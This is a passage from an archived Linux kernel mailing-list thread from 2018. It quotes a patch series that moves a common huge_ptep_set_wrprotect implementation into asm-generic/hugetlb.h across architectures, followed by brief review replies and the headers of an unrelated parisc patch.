> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>  static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
> index 59c056adb3c9..a3f781f7a264 100644
> --- a/arch/x86/include/asm/hugetlb.h
> +++ b/arch/x86/include/asm/hugetlb.h
> @@ -13,12 +13,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
>  	return 0;
>  }
>  
> -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
> -					   unsigned long addr, pte_t *ptep)
> -{
> -	ptep_set_wrprotect(mm, addr, ptep);
> -}
> -
>  static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  					     unsigned long addr, pte_t *ptep,
>  					     pte_t pte, int dirty)
> diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
> index 6c0c8b0c71e0..9b9039845278 100644
> --- a/include/asm-generic/hugetlb.h
> +++ b/include/asm-generic/hugetlb.h
> @@ -102,4 +102,12 @@ static inline int prepare_hugepage_range(struct file *file,
>  }
>  #endif
>  
> +#ifndef __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
> +static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
> +		unsigned long addr, pte_t *ptep)
> +{
> +	ptep_set_wrprotect(mm, addr, ptep);
> +}
> +#endif
> +
>  #endif /* _ASM_GENERIC_HUGETLB_H */
> -- 
> 2.16.2


From - Thu Nov 08 21:41:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v5 09/11] hugetlb: Introduce generic version of
 huge_ptep_set_wrprotect
Date: Tue, 31 Jul 2018 13:17:03 +0200
Lines: 236
Approved: news@gmane.org
Message-ID: <6acb1389-6998-bafb-cf69-174fd522c04c@ghiti.fr>
References: <20180731060155.16915-1-alex@ghiti.fr>
 <20180731060155.16915-10-alex@ghiti.fr>
 <87h8kfhg7o.fsf@concordia.ellerman.id.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1533035824 12347 195.159.176.226 (31 Jul 2018 11:17:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 31 Jul 2018 11:17:04 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
To: Michael Ellerman <mpe@ellerman.id.au>, linux-mm@kvack.org,
        mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org,
        "aneesh.kumar@linux.ibm.com" <aneesh.kumar@linux.ibm.c
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 31 13:16:58 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkSe6-0002wp-5R
	for glk-linux-kernel-4@m.gmane.org; Tue, 31 Jul 2018 13:16:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1732017AbeGaM6w (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 31 Jul 2018 08:58:52 -0400
Original-Received: from relay2-d.mail.gandi.net ([217.70.183.194]:60623 "EHLO
        relay2-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1731781AbeGaM6w (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 31 Jul 2018 08:58:52 -0400
X-Originating-IP: 81.250.144.103
Original-Received: from [10.30.1.20] (LNeuilly-657-1-5-103.w81-250.abo.wanadoo.fr [81.250.144.103])
        (Authenticated sender: alex@ghiti.fr)
        by relay2-d.mail.gandi.net (Postfix) with ESMTPSA id B941540012;
        Tue, 31 Jul 2018 11:17:36 +0000 (UTC)
In-Reply-To: <87h8kfhg7o.fsf@concordia.ellerman.id.au>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2834984 gmane.linux.kernel.mm:200913 gmane.linux.ports.arm.kernel:666913 gmane.linux.ports.ia64:29017 gmane.linux.ports.mips.general:65795 gmane.linux.ports.parisc:28854 gmane.linux.ports.ppc64.devel:160677 gmane.linux.ports.sh.devel:57306 gmane.linux.ports.sparc:28161 gmane.linux.kernel.cross-arch:45541
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2834984>


On 07/31/2018 12:06 PM, Michael Ellerman wrote:
> Alexandre Ghiti <alex@ghiti.fr> writes:
>
>> arm, ia64, mips, sh, x86 architectures use the same version
>> of huge_ptep_set_wrprotect, so move this generic implementation into
>> asm-generic/hugetlb.h.
>> Note: powerpc uses twice for book3s/32 and nohash/32 the same version as
>> the above architectures, but the modification was not straightforward
>> and hence has not been done.
> Do you remember what the problem was there?
>
> It looks like you should just be able to drop them like the others. I
> assume there's some header spaghetti that causes problems though?

Yes, the header spaghetti frightened me a bit. Maybe I should have tried 
harder: I can try to remove them and find the right defconfigs to 
compile both to begin with. And to guarantee the functionality is 
preserved, can I use the testsuite of libhugetlbfs with qemu ?

Alex

>
> cheers
>
>
>> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
>> Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
>> ---
>>   arch/arm/include/asm/hugetlb-3level.h        | 6 ------
>>   arch/arm64/include/asm/hugetlb.h             | 1 +
>>   arch/ia64/include/asm/hugetlb.h              | 6 ------
>>   arch/mips/include/asm/hugetlb.h              | 6 ------
>>   arch/parisc/include/asm/hugetlb.h            | 1 +
>>   arch/powerpc/include/asm/book3s/32/pgtable.h | 2 ++
>>   arch/powerpc/include/asm/book3s/64/pgtable.h | 1 +
>>   arch/powerpc/include/asm/nohash/32/pgtable.h | 2 ++
>>   arch/powerpc/include/asm/nohash/64/pgtable.h | 1 +
>>   arch/sh/include/asm/hugetlb.h                | 6 ------
>>   arch/sparc/include/asm/hugetlb.h             | 1 +
>>   arch/x86/include/asm/hugetlb.h               | 6 ------
>>   include/asm-generic/hugetlb.h                | 8 ++++++++
>>   13 files changed, 17 insertions(+), 30 deletions(-)
>>
>> diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
>> index b897541520ef..8247cd6a2ac6 100644
>> --- a/arch/arm/include/asm/hugetlb-3level.h
>> +++ b/arch/arm/include/asm/hugetlb-3level.h
>> @@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
>>   	return retval;
>>   }
>>   
>> -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>> -					   unsigned long addr, pte_t *ptep)
>> -{
>> -	ptep_set_wrprotect(mm, addr, ptep);
>> -}
>> -
>>   static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>>   					     unsigned long addr, pte_t *ptep,
>>   					     pte_t pte, int dirty)
>> diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
>> index 3e7f6e69b28d..f4f69ae5466e 100644
>> --- a/arch/arm64/include/asm/hugetlb.h
>> +++ b/arch/arm64/include/asm/hugetlb.h
>> @@ -48,6 +48,7 @@ extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>>   #define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
>>   extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>>   				     unsigned long addr, pte_t *ptep);
>> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>>   extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>   				    unsigned long addr, pte_t *ptep);
>>   #define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>> diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
>> index cbe296271030..49d1f7949f3a 100644
>> --- a/arch/ia64/include/asm/hugetlb.h
>> +++ b/arch/ia64/include/asm/hugetlb.h
>> @@ -27,12 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>>   {
>>   }
>>   
>> -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>> -					   unsigned long addr, pte_t *ptep)
>> -{
>> -	ptep_set_wrprotect(mm, addr, ptep);
>> -}
>> -
>>   static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>>   					     unsigned long addr, pte_t *ptep,
>>   					     pte_t pte, int dirty)
>> diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
>> index 6ff2531cfb1d..3dcf5debf8c4 100644
>> --- a/arch/mips/include/asm/hugetlb.h
>> +++ b/arch/mips/include/asm/hugetlb.h
>> @@ -63,12 +63,6 @@ static inline int huge_pte_none(pte_t pte)
>>   	return !val || (val == (unsigned long)invalid_pte_table);
>>   }
>>   
>> -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>> -					   unsigned long addr, pte_t *ptep)
>> -{
>> -	ptep_set_wrprotect(mm, addr, ptep);
>> -}
>> -
>>   static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>>   					     unsigned long addr,
>>   					     pte_t *ptep, pte_t pte,
>> diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
>> index fb7e0fd858a3..9c3950ca2974 100644
>> --- a/arch/parisc/include/asm/hugetlb.h
>> +++ b/arch/parisc/include/asm/hugetlb.h
>> @@ -39,6 +39,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>>   {
>>   }
>>   
>> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>>   void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>   					   unsigned long addr, pte_t *ptep);
>>   
>> diff --git a/arch/powerpc/include/asm/book3s/32/pgtable.h b/arch/powerpc/include/asm/book3s/32/pgtable.h
>> index 02f5acd7ccc4..d2cd1d0226e9 100644
>> --- a/arch/powerpc/include/asm/book3s/32/pgtable.h
>> +++ b/arch/powerpc/include/asm/book3s/32/pgtable.h
>> @@ -228,6 +228,8 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
>>   {
>>   	pte_update(ptep, (_PAGE_RW | _PAGE_HWWRITE), _PAGE_RO);
>>   }
>> +
>> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>>   static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>   					   unsigned long addr, pte_t *ptep)
>>   {
>> diff --git a/arch/powerpc/include/asm/book3s/64/pgtable.h b/arch/powerpc/include/asm/book3s/64/pgtable.h
>> index 42aafba7a308..7d957f7c47cd 100644
>> --- a/arch/powerpc/include/asm/book3s/64/pgtable.h
>> +++ b/arch/powerpc/include/asm/book3s/64/pgtable.h
>> @@ -451,6 +451,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
>>   		pte_update(mm, addr, ptep, 0, _PAGE_PRIVILEGED, 0);
>>   }
>>   
>> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>>   static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>   					   unsigned long addr, pte_t *ptep)
>>   {
>> diff --git a/arch/powerpc/include/asm/nohash/32/pgtable.h b/arch/powerpc/include/asm/nohash/32/pgtable.h
>> index 7c46a98cc7f4..f39e200d9591 100644
>> --- a/arch/powerpc/include/asm/nohash/32/pgtable.h
>> +++ b/arch/powerpc/include/asm/nohash/32/pgtable.h
>> @@ -249,6 +249,8 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
>>   {
>>   	pte_update(ptep, (_PAGE_RW | _PAGE_HWWRITE), _PAGE_RO);
>>   }
>> +
>> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>>   static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>   					   unsigned long addr, pte_t *ptep)
>>   {
>> diff --git a/arch/powerpc/include/asm/nohash/64/pgtable.h b/arch/powerpc/include/asm/nohash/64/pgtable.h
>> index dd0c7236208f..69fbf7e9b4db 100644
>> --- a/arch/powerpc/include/asm/nohash/64/pgtable.h
>> +++ b/arch/powerpc/include/asm/nohash/64/pgtable.h
>> @@ -238,6 +238,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
>>   	pte_update(mm, addr, ptep, _PAGE_RW, 0, 0);
>>   }
>>   
>> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>>   static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>   					   unsigned long addr, pte_t *ptep)
>>   {
>> diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
>> index f1bbd255ee43..8df4004977b9 100644
>> --- a/arch/sh/include/asm/hugetlb.h
>> +++ b/arch/sh/include/asm/hugetlb.h
>> @@ -32,12 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>>   {
>>   }
>>   
>> -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>> -					   unsigned long addr, pte_t *ptep)
>> -{
>> -	ptep_set_wrprotect(mm, addr, ptep);
>> -}
>> -
>>   static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>>   					     unsigned long addr, pte_t *ptep,
>>   					     pte_t pte, int dirty)
>> diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
>> index 2101ea217f33..c41754a113f3 100644
>> --- a/arch/sparc/include/asm/hugetlb.h
>> +++ b/arch/sparc/include/asm/hugetlb.h
>> @@ -32,6 +32,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>>   {
>>   }
>>   
>> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>>   static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>   					   unsigned long addr, pte_t *ptep)
>>   {
>> diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
>> index 59c056adb3c9..a3f781f7a264 100644
>> --- a/arch/x86/include/asm/hugetlb.h
>> +++ b/arch/x86/include/asm/hugetlb.h
>> @@ -13,12 +13,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
>>   	return 0;
>>   }
>>   
>> -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>> -					   unsigned long addr, pte_t *ptep)
>> -{
>> -	ptep_set_wrprotect(mm, addr, ptep);
>> -}
>> -
>>   static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>>   					     unsigned long addr, pte_t *ptep,
>>   					     pte_t pte, int dirty)
>> diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
>> index 6c0c8b0c71e0..9b9039845278 100644
>> --- a/include/asm-generic/hugetlb.h
>> +++ b/include/asm-generic/hugetlb.h
>> @@ -102,4 +102,12 @@ static inline int prepare_hugepage_range(struct file *file,
>>   }
>>   #endif
>>   
>> +#ifndef __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>> +static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>> +		unsigned long addr, pte_t *ptep)
>> +{
>> +	ptep_set_wrprotect(mm, addr, ptep);
>> +}
>> +#endif
>> +
>>   #endif /* _ASM_GENERIC_HUGETLB_H */
>> -- 
>> 2.16.2



From - Thu Nov 08 21:41:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Luiz Capitulino <lcapitulino@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v5 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Tue, 31 Jul 2018 16:06:40 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20180731160640.11306628@doriath>
References: <20180731060155.16915-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1533067493 24770 195.159.176.226 (31 Jul 2018 20:04:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 31 Jul 2018 20:04:53 +0000 (UTC)
Cc: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
To: Alexandre Ghiti <alex@ghiti.fr>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 31 22:04:46 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkasv-0006H5-Or
	for glk-linux-kernel-4@m.gmane.org; Tue, 31 Jul 2018 22:04:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1732599AbeGaVsu (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 31 Jul 2018 17:48:50 -0400
Original-Received: from mx3-rdu2.redhat.com ([66.187.233.73]:53242 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1732373AbeGaVsu (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 31 Jul 2018 17:48:50 -0400
Original-Received: from smtp.corp.redhat.com (int-mx05.intmail.prod.int.rdu2.redhat.com [10.11.54.5])
        (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id 07A838197005;
        Tue, 31 Jul 2018 20:06:52 +0000 (UTC)
Original-Received: from doriath (ovpn-116-231.phx2.redhat.com [10.3.116.231])
        by smtp.corp.redhat.com (Postfix) with ESMTP id 586E61C701;
        Tue, 31 Jul 2018 20:06:42 +0000 (UTC)
In-Reply-To: <20180731060155.16915-1-alex@ghiti.fr>
X-Scanned-By: MIMEDefang 2.79 on 10.11.54.5
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.8]); Tue, 31 Jul 2018 20:06:52 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.8]); Tue, 31 Jul 2018 20:06:52 +0000 (UTC) for IP:'10.11.54.5' DOMAIN:'int-mx05.intmail.prod.int.rdu2.redhat.com' HELO:'smtp.corp.redhat.com' FROM:'lcapitulino@redhat.com' RCPT:''
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2835454 gmane.linux.kernel.mm:200966 gmane.linux.ports.arm.kernel:667053 gmane.linux.ports.ia64:29021 gmane.linux.ports.mips.general:65833 gmane.linux.ports.parisc:28855 gmane.linux.ports.ppc64.devel:160722 gmane.linux.ports.sh.devel:57310 gmane.linux.ports.sparc:28162 gmane.linux.kernel.cross-arch:45556
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2835454>

On Tue, 31 Jul 2018 06:01:44 +0000
Alexandre Ghiti <alex@ghiti.fr> wrote:

> [CC linux-mm for inclusion in -mm tree] 
> 
> In order to reduce copy/paste of functions across architectures and then
> make riscv hugetlb port (and future ports) simpler and smaller, this
> patchset intends to factorize the numerous hugetlb primitives that are
> defined across all the architectures.

[...]

>  15 files changed, 139 insertions(+), 382 deletions(-)

I imagine you're mostly interested in non-x86 review at this point, but
as this series is looking amazing:

Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>


From - Thu Nov 08 21:41:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v5 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Wed, 1 Aug 2018 13:50:49 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <1cee9f98-4cff-3e42-6cc8-088310e406d9@ghiti.fr>
References: <20180731060155.16915-1-alex@ghiti.fr>
 <20180731160640.11306628@doriath>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1533124220 22699 195.159.176.226 (1 Aug 2018 11:50:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Aug 2018 11:50:20 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
To: Luiz Capitulino <lcapitulino@redhat.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 01 13:50:13 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkpds-0005ia-Ip
	for glk-linux-kernel-4@m.gmane.org; Wed, 01 Aug 2018 13:50:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2388889AbeHANhp (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 1 Aug 2018 09:37:45 -0400
Original-Received: from relay3-d.mail.gandi.net ([217.70.183.195]:48725 "EHLO
        relay3-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S2387799AbeHANhp (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 1 Aug 2018 09:37:45 -0400
X-Originating-IP: 81.250.144.103
Original-Received: from [10.30.1.20] (LNeuilly-657-1-5-103.w81-250.abo.wanadoo.fr [81.250.144.103])
        (Authenticated sender: alex@ghiti.fr)
        by relay3-d.mail.gandi.net (Postfix) with ESMTPSA id 0C62560010;
        Wed,  1 Aug 2018 11:51:25 +0000 (UTC)
In-Reply-To: <20180731160640.11306628@doriath>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2836034 gmane.linux.kernel.mm:200995 gmane.linux.ports.arm.kernel:667217 gmane.linux.ports.ia64:29028 gmane.linux.ports.mips.general:65842 gmane.linux.ports.parisc:28856 gmane.linux.ports.ppc64.devel:160786 gmane.linux.ports.sh.devel:57314 gmane.linux.ports.sparc:28166 gmane.linux.kernel.cross-arch:45560
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2836034>

On 07/31/2018 10:06 PM, Luiz Capitulino wrote:
> On Tue, 31 Jul 2018 06:01:44 +0000
> Alexandre Ghiti <alex@ghiti.fr> wrote:
>
>> [CC linux-mm for inclusion in -mm tree]
>>
>> In order to reduce copy/paste of functions across architectures and then
>> make riscv hugetlb port (and future ports) simpler and smaller, this
>> patchset intends to factorize the numerous hugetlb primitives that are
>> defined across all the architectures.
> [...]
>
>>   15 files changed, 139 insertions(+), 382 deletions(-)
> I imagine you're mostly interested in non-x86 review at this point, but
> as this series is looking amazing:
>
> Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>

It's always good to have another feedback :)
Thanks for your review Luiz,

Alex


From - Thu Nov 08 21:41:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nick Desaulniers <ndesaulniers@google.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] parisc: prefer _THIS_IP_ and _RET_IP_ statement expressions
Date: Wed,  1 Aug 2018 11:22:56 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20180801182258.17834-1-ndesaulniers@google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1533147669 30986 195.159.176.226 (1 Aug 2018 18:21:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Aug 2018 18:21:09 +0000 (UTC)
Cc: natechancellor@gmail.com,
        Nick Desaulniers <ndesaulniers@google.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Pravin Shedge <pravin.shedge4linux@gmail.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: deller@gmx.de, jejb@parisc-linux.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 01 20:21:04 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkvk7-0007wj-W1
	for glk-linux-kernel-4@m.gmane.org; Wed, 01 Aug 2018 20:21:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1733022AbeHAUKL (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 1 Aug 2018 16:10:11 -0400
Original-Received: from mail-io0-f201.google.com ([209.85.223.201]:43728 "EHLO
        mail-io0-f201.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1732297AbeHAUKK (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 1 Aug 2018 16:10:10 -0400
Original-Received: by mail-io0-f201.google.com with SMTP id w19-v6so14309464ioa.10
